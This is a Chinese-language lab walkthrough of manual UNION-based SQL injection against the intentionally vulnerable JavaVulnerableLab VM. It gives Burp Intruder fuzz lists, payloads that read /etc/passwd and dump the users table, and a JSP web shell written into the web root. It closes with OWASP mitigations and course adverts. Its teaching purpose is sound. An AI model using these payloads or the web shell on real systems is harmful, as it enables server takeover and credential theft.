总结
在本文中,我将简要解释什么是 SQL 注入,并向您展示如何在没有 SQLMap 或其他出色的 SQL 注入工具(如 Ghauri)的情况下利用 SQL 注入。我们将从 100% 黑盒的角度处理攻击,无需事先了解相关的数据库技术。此外,我们的目标 Web 服务器基于 Java 构建,旨在教您渗透测试 Java Web 应用程序。
免責聲明
本文仅供参考和教育目的,适用于那些愿意并好奇地了解和学习安全和渗透测试的人。不得将内容用于非法目的。如果您准备好学习新事物,请继续阅读。
详
SQL 注入是一个古老的漏洞,一直占据 OWASP 前 10 名的主导地位。根据 OWASP 目前的前 10 名,SQL 注入排名第三 (https://owasp.org/Top10/)
SQL 注入攻击是一种 Web 应用程序攻击,攻击者会干扰应用程序对数据库进行的查询。这些区域通常是应用程序中需要用户输入的区域,例如登录门户或搜索功能。
需要特定的 SQL 注入负载才能利用 SQL 注入。由于正确的有效负载与上下文相关,因此攻击者可以使用模糊测试技术。模拟模糊测试技术通过 SQLMap 和 Ghauri 等工具广泛实现自动化。
此 PoC 侧重于基于 UNION 的 SQL 注入。我们将使用 Burp Intruder 来自动化模糊测试步骤。根据 Burp Intruder 结果,我们将制作正确的 SQL 注入有效负载。
PoC 内容
该 PoC 包括以下步骤:
-
设置您的实验室环境(步骤 1-4)
-
发现应用程序入口点(步骤 5、6 和 7)
-
模糊测试组合前缀 — 条件 — 后缀(步骤 8-13)
-
确定列数(步骤 14-16)
-
确定列的数据类型(步骤 17)
-
确定数据库版本(步骤 18)
-
文件系统访问(步骤 19-24)
-
创建 JSP Web shell(步骤 25–26)
-
转储 user 表(步骤 27-30)
设置您的实验室环境
此 POC 由 2 个虚拟机组成:攻击者计算机(Kali Linux,192.168.62.161)和 JavaVulnernableLab(Debian Linux,Apache Tomcat,192.168.62.178)。
要求:
为了安装 JavaVulnerableLab 机器,您需要有 VirtualBox 或 VMWare 等虚拟化软件。此 PoC 基于 VMWare Fusion (macOS 14) 上的 JavaVulnerableLab
1. 下载 JavaVulnerableLab.ova 文件
下载虚拟机文件(JavaVulnerableLab.ova 文件)。打开浏览器并导航到 https://sourceforge.net/projects/javavulnerablelab/files/v0.1/JavaVulnerableLab.ova/download
2. 在虚拟化解决方案(例如 Vmware 或 Virualbox)中导入 JavaVulnerableLab.ova 文件。
如果是 VMware Fusion,请打开 Finder 并浏览到文件 JavaVulnerableLab.ova。右键单击并选择“打开方式”>“Vmware Fusion.app(默认)”
3. 启动 JavaVulnerableLab 虚拟机。登录 JavaVulnerableLab,使用“root”的凭据(默认密码:“cspf”)。
4. 更改 Web 根目录上的文件权限。您需要此文件才能执行步骤 25(将 JSP Web Shell 写入 Web 根文件夹)。
执行以下命令:
chmod 777 -R /usr/bin/tomcat6/webapps
PoC:在没有 SQLmap 的情况下自动 SQL 注入
其余所有步骤都在 Kali Linux 攻击机器上执行。
一般来说,发现 SQL 注入漏洞的第一步是寻找所有可能的应用程序入口点。您必须关注可能与后端数据库交互的入口点。在这方面,使用 Burp Suite 或 OWASP ZAP 可能非常有帮助。这两个工具都提供了对目标应用程序使用的各种参数的洞察。参数可以存在于 POST/PUT 请求的正文中,也可以存在于 GET 请求的 URL 中。
5. 发现应用程序入口点
将浏览器配置为使用 Burp Suite 作为拦截器工具。浏览到 JavaVulnerableLab Web 应用程序 (http://192.168.62.178:8080/JavaVulnerableLab)。执行一些应用程序功能。
接下来,检查 Burp Suite 拦截的 HTTP 流量。按 Params 列进行筛选。如您所见,目标应用程序使用许多参数。
6. 访问 JavaVulnerableLab SQL 注入漏洞。
在顶部菜单上,点击“漏洞”>“A1:注入”>“SQL 注入”>“SQL 注入 1”
您将被定向到页面:http://192.168.62.178:8080/JavaVulnerableLab/vulnerability/forumposts.jsp?postid=1(PoC 中的 IP 地址可能不同)。
7. 测试目标 Web 应用程序中的正常功能。
在 'postid' 参数中输入一个唯一的整数(例如 “2”)。然后检查唯一字符串的显示位置。
输入显示在 URL 中,这意味着我们正在处理 HTTP GET 请求。URL 包含参数 postid。我们将 payload 直接发送到 postid 参数。
模糊化组合前缀 — 条件 — 后缀
前缀是要在(恶意)sql 注入负载之前添加的字符或字符序列。前缀的作用是关闭已有的 SQL 查询语句。
条件的作用是判断 SQL 注入是否可行。例如,通过添加 SQL 条件(如 'or 1=1'),我们可以检查 Web 应用程序的行为方式。
后缀是要在 sql 注入有效负载代码之后添加的字符或字符序列。后缀的功能是正常结束新的 (恶意) SQL 查询语句。后缀始终包含“comments”代码,以消除尾随字符并简化攻击。
您可以使用像 Burp 这样的 Web 代理来自动化该过程。这需要特定的 Burp Intruder 设置。
8. 配置 Burp Intruder 攻击类型
将 Firefox 配置为使用 Burp Suite 作为拦截工具。将最后一个请求发送给 Burp Intruder。
使用以下设置配置 Burp Intruder:
攻击类型:集束炸弹
攻击参数 = postid
值 1 = §prefix§
值 2 = §condition§
值 3 = §suffix§
您可以复制 — 粘贴以下示例有效负载以用于 Burp:
§prefix§+§condtion§+§suffix§
9. 配置 Burp Intruder 负载 1(前缀)。
转到 “Payloads” 选项卡。选择负载集 1 和负载类型 'simple list'。
Copy — 粘贴前缀有效负载值(请参阅下面的列表)
Payload 值:
-100
0
'
"
)
'"
"'
')
")
10. 配置 Burp Intruder 负载 2(条件)。
选择负载集 2 和负载类型 'simple list'。
Copy — 粘贴条件有效负载值(请参阅下面的列表):
or 1=1
or 1=0
11. 配置 Burp Intruder payload 3(后缀)。
选择负载集 3 和负载类型 'simple list'。
Copy — 粘贴条件有效负载值(请参阅下面的列表)。
-- bla
;-- bla
#
;#
12. 开始进攻并分析结果。
从结果中,我们可以推断出服务器响应代码 200 出现在以下情况下:
前缀值:-100 和 0
后缀值: ' — bla' , ';— bla' 、 '#' 和 ';#'
此外,我们还注意到以下几点:
条件 'OR 1=1':响应长度 = 7858
条件 'OR 1=0':响应长度 = 7710
13. 在浏览器中显示一些请求。
在浏览器中手动检查以下负载:
0 or 1=1 -- bla
0 or 1=0 -- bla
选择具有 HTTP 200 响应代码和条件 “or 1=1” 的请求。在浏览器中显示此请求。
选择具有 HTTP 200 响应代码和条件“或 1=0”的请求。在浏览器中显示此内容。
我们可以看到 Web 应用程序的行为因有效负载而异。因此,我们已确认 Web 服务器容易受到 SQL 注入的攻击。
我们将使用以下有效负载配置继续执行后续步骤:
前缀 = 0
后缀 = '— bla' (双破折号 + 空格 + 'bla')
我们可以继续下一步:确定列数。
确定列数
在此 PoC 中,我们将使用“基于联合”的 SQL 注入技术。在“基于联合”的 SQL 注入中,攻击者使用 UNION 运算符将原始 SQL 语句 a 与恶意语句组合在一起。恶意语句必须与原始语句兼容。它必须与原始语句具有相同的列数和相同的数据类型。我们的第一步是确定原始语句的列数。
如何确定列数?
好吧,您可以使用 2 种技术:
- “排序依据”技术
- “联合选择”技术
我们将使用 'ORDER BY' 技术。您可以在 Portswigger 页面 (https://portswigger.net/web-security/sql-injection/union-attacks) 上阅读有关“UNION SELECT”技术的更多信息。
在 “ORDER BY” 技术中,攻击者在 ORDER BY 查询中增加列号。如果列数不匹配,则会显示错误消息。例如:
-
0 按 1 排序 — — bla
-
0 按 2 排序 — — bla
等。
14. 配置 Burp Intruder 攻击类型以确定列数
使用以下设置配置 Burp Intruder:
攻击类型: 狙击手
攻击参数 = postid
有效载荷 1 = §x§
用于 Burp 的示例有效负载:
0+ORDER+BY+§x§+--+bla
15. 配置 Burp Intruder 负载 1(编号)。
选择有效载荷集 1 和有效载荷类型 'numbers'。
起价: 1
至: 20
步骤:1
16. 开始进攻并分析结果。
从结果中,我们可以推断出服务器响应代码 200 出现在以下情况下:
有效载荷值:1、2、3 和 4
从负载 5 或更高级别显示 HTTP 500 响应代码。这意味着原始查询包含四列。
确定列的数据类型
下一步是确认这四列的数据类型。这可以通过在 columns 位置插入字符串或整数来轻松确定。我们可以检查提供的字符串或整数在响应中是否可见。
17. 确定列的数据类型。
非 Oracle 负载
0 union select 'first',null,null,null -- bla
0 union select 1,null,null,null -- bla
0 union select null,'second',null,null -- bla
0 union select null,2,null,null -- bla
0 union select null,null,'third',null -- bla
0 union select null,null,3,null -- bla
0 union select null,null,null,'fourth' -- bla
0 union select null,null,null,4 -- bla
注意:上述负载与 Oracle 数据库不兼容。对于 Oracle,我们必须使用 FROM DUAL 语法。例如 '0 union select 'abc',null,null,null from DUAL — bla'
事实证明,JavaVulnerableLab 接受所有列中的字符串或整数。第一列不可见。
到目前为止,我们可以对基于 union 的 SQL 注入攻击得出以下结论:
·我们需要 4 个列
·所有列都接受字符串或整数
·第 2、3 和 4 列可见
确定数据库版本
此时,我们已经列举了使用 union-select 方法从数据库中检索数据的所有要求。
现在,我们能够检索数据库服务器的确切版本。每个数据库提供程序都有自己的语法。根据数据类型为 string 的 4 列,我们可以尝试几个特定于供应商的语句来获取数据库服务器版本。
0 UNION SELECT null,SUBSTRING(@@version,1,200),null,null LIMIT 0,1 -- MySQL
0 UNION SELECT null,SUBSTRING(@@version,1,200),null,null WHERE row = 1 -- MS SQL version
0 union select null,substr(banner,1,200),null,null from v$version%20 where rownum=1 -- Oracle version
0 UNION SELECT null,SUBSTRING(version(),1,200),null,null LIMIT 1 -- PostgreSQL version
18. 检索数据库服务器版本
只有 MySQL 的有效负载不会导致错误消息
0 UNION SELECT null,SUBSTRING(@@version,1,200),null,null LIMIT 0,1 -- MySQL
现在我们有了确切的数据库服务器版本,MySQL 5.5.37
除了检索 MySQL 数据库之外,我们还可以获取更多信息。PayloadAllTheThings 站点提供了可以从 MySQL 数据库 (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) 检索的大量可能项目列表。
文件系统访问
MySQL 提供了 LOAD_FILE() 和 INTO OUTFILE() 函数,可用于在运行 MySQL 数据库的服务器的文件系统中读取或写入文件。使用这些功能的能力取决于数据库用户对数据库和相应文件或目录的权限。MySQL 使用“@@GLOBAL.secure_file_priv”系统变量来限制可用于读取或写入文件的目录。如果此变量的值未设置或为空,则数据库服务帐户可以访问任何文件或目录,只要它具有来自操作系统的相应文件权限。
19. 读取系统变量 '@@GLOBAL.secure_file_priv' 的值
0 UNION SELECT 1,@@GLOBAL.secure_file_priv,2,3 – MySQL
未设置 @@GLOBAL.secure_file_priv 的值!
攻击者可以尝试读取操作系统、/etc/passwd (Linux) 或 C:Windowswin.ini (Windows) 等“世界可读”文件。
20. 在数据库服务器上检索“全局可读文件”。
要尝试的有效负载:
0 UNION SELECT null,load_file('C:/Windows/win.ini'),null,null -- bla
0 UNION SELECT null,load_file('/etc/passwd'),null,null -- bla
我们能够读取 /etc/passwd 文件。现在,我们知道我们是在处理 Linux。
此数据库用户可能对数据库服务器上的某些目录具有写入权限。如果数据库和相应的 Web 服务器位于同一台计算机上,则尤其危险。在这种情况下,攻击者可以将 Web shell 放在可写位置。
攻击者可以通过在“world writable”位置写入文件来检查数据库用户是否具有写入权限。
21. 将文件写入 'world writable;location 在数据库服务器上。我们尝试将 'test' 写入文件 /tmp/test.txt。
要尝试的有效负载:
0 union select 1,"test",null,null into OUTFILE '/tmp/test.txt' -- Linux
这看起来不是很,但如果我们重试相同的有效负载,我们会收到不同的错误消息!
Despite the error message, the file was placed. Perhaps we can put a file, like a php web shell, in the web root. In order to use the web shell, you need write permissions to the web root. If not, you also need a local file inclusion (LFI) vulnerability.
Windows 可能的 Web 根:
C:/inetpub/wwwroot/
C:/inetpub/vhosts/
c:/apache/htdocs/
C:/Program Files (x86)/Apache Software Foundation/Tomcat 9.0/
C:/nginx/html/
c:/webroot/
C:/xampp/htdocs/
c:/xampp/tomcat/webapps/
c:/xampp/tomcat6/webapps/
Linux 可能的 webroots:
/var/apache2/htdocs/
/var/www/
/var/www/html/
/var/www/nginx-default/
/var/www/vhosts/
/var/www/htdocs/
/usr/local/apache2/htdocs/
/usr/local/www/data/
/usr/local/apache/
/usr/local/apache2/
/usr/local/apache2/
/usr/local/httpd/
/usr/local/www/apache22/
/usr/local/www/apache24/
/srv/www/htdocs/
/srv/www/
/opt/lampp/htdocs
/usr/bin/tomcat/webapps/
/usr/bin/tomcat6/webapps/
请注意,目标 Web 应用程序使用子目录 /JavaVulerableLab。始终包含特定于应用程序的子目录以及可能的 Web 根位置。例如,我们需要包括 /var/www/JavaVulnerableLab/、/var/www/html/JavaVulnerableLab 等。
我们攻击的下一步是确定数据库用户是否可以写入 Web 根。我们不知道 Web 根位置,因此我们只需要弄清楚这个位置。为了节省时间,我们将使用 Burp Intruder 来执行一系列多个请求。
22. 配置 Firefox 以使用 Burp Suite 作为拦截工具。将最后一个请求重新发送到 Burp Intruder。
0 union select 1,"test",null,null into OUTFILE '/tmp/test.txt' -- Linux
23. 按如下方式配置 Burp Intruder:
攻击类型: 狙击手
攻击参数 = postid
值 1 = $/tmp/test.txt$
用于 Burp 的示例有效负载:
0+union+select+1,"test",null,null+into+OUTFILE+'§/tmp§/test.txt'+--+Linux
负载类型:简单列表
Copy (复制) – 粘贴 Linux 可能的 Web 根位置列表。此外,添加特定于应用程序的 Web 根位置,例如 '/var/www/html/JavaVulnerableLab
负载设置:
grep 匹配:“已存在”
24. 执行两次攻击!您需要执行两次攻击才能强制 'file ...already exists“ 错误消息。
分析结果。
我们很幸运地找到了两个编写 Web Shell 的地方!如果您没有得到此结果,请检查您是否执行了实验室制备中的步骤 4。
25. 将 JSP Web shell (webshell.jsp) 写入数据库服务器上的 Web 根位置之一。
0 union all select null,'<FORM METHOD=GET ACTION="webshell.jsp"><INPUT name="cmd" type=text><INPUT type=submit value="Run"></FORM><%25@ page import="java.io.*" %25><%25 String cmd = request.getParameter("cmd");String output = ""; if(cmd != null) {String s = null;try {Process p = Runtime.getRuntime().execcmd,null,null);BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output %2b= s%2b"</br>"; }} catch(IOException e) {%20%20 e.printStackTrace();}}%25><pre><%25=output %25></pre>',null,null into OUTFILE '/usr/bin/tomcat6/webapps/JavaVulnerableLab/webshell.jsp'-- jsp-webshell
重要提示:上述有效负载包含:“execcmd,null,null)”。这是不正确的,它必须是 “exec(cmd,null,null)”。由于 Medium.com 输入验证,因此无法使用 “exec(cmd,null,null)”。手动添加缺失的字符“(”。
26. 访问 Web shell。
导航到 http://192.168.62.178:8080/JavaVulnerableLab/webshell.jsp?cmd=id
我们的 JSP Web 服务器在 root 用户下运行!
转储 user 表
从这里,我们实际上可以输出数据库信息。同样,您可以使用 PayloadAllTheThings 站点作为参考。
我们必须使用 group_concat() 函数。这是必需的,因为数据库服务器只显示第一行。通过使用 group_concat() 函数将所有行连接成一行,可以解决此问题。
27. 显示所有数据库。
0 UNION SELECT null,group_concat(schema_name),null,null FROM information_schema.schemata -- bla
28. 列出当前数据库中的所有表。
0 UNION SELECT null,group_concat(table_name),null,null FROM information_schema.tables where table_schema=database(); -- bla
我们的查询结果有 7 个表:FileList、Messages、UserMessages、cards、posts、tdata、users
29. 列出表 'users' 的所有列名
0 UNION SELECT null,group_concat(column_name),null,null from information_schema.columns where table_name='users' AND table_schema=database() -- bla
30. 转储表 'users' 中 'user' 、 'password' 和 'secret ' 列中的所有行。
0 UNION SELECT null,group_concat(username,' ',password,' ',secret),null,null from users -- bla
我们成功转储了 USERS 表!我们可以尝试使用密码“21232f297a57a5a743894a0e4a801fc3”以“admin”身份登录
缓解措施
SQL 注入漏洞是一个严重的问题。这仍然是造成大量伤害的最常见攻击之一。有几种方法可以防止 SQL 注入。OWASP 提供以下建议:
主要防御:
选项 1:使用准备好的语句(带有参数化查询)
选项 2:使用正确构建的存储过程
选项 3:允许列表输入验证
选项 4:转义所有用户提供的输入
其他防御:
另外:实施最低权限
此外:执行允许列表输入验证作为辅助防御
您可以在 OWASP 站点 (https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html) 上阅读有关防御 SQL 注入的更多信息。
引用
https://portswigger.net/web-security
https://owasp.org/Top10/
https://www.sqlinjection.net/
其它课程
QT开发底层原理与安全逆向视频教程(2024最新)
linux恶意软件开发对抗与基于ebpf网络安全视频教程(2024最新)
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
linux高级usb安全开发与源码分析视频教程
linux程序设计与安全开发
-
windows恶意软件开发与对抗视频教程
-
-
-
windows网络安全防火墙与虚拟网卡(更新完成)
-
-
windows文件过滤(更新完成)
-
-
USB过滤(更新完成)
-
-
游戏安全(更新中)
-
-
ios逆向
-
-
windbg
-
-
还有很多免费教程(限学员)
-
-
-
更多详细内容添加作者微信
-
-
原文始发于微信公众号(安全狗的自我修养):不使用 SQLMap 的半自动 SQL 注入 (JavaVulnerableLab)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论